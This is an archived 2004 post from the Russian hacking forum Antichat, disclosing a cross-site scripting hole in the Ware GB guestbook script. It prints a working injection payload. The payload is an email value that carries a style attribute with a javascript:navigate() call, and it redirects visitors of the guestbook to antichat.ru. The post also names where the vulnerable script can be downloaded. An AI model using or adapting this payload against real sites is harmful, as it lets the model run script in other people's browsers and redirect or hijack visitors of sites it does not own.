Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги  ware gb (https://forum.antichat.xyz/showthread.php?t=1905)

Егорыч+++ 18.05.2004 09:43

Ware GB - дырявая гостевая. И как всегда с пафасом.
В тело почты можно вставить как скрипт

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">de@de.de" style=background-image:url(javascript:navigate('http://antichat.ru'));[/QUOTE]<span id='postcolor'>

Получаем редирект на сайт АНТИЧАТ.

Адрес скрипта http://www.webworkzware.com/index.php/page/ware_gb

Продолжаем дальше искать дырки...


Время: 13:01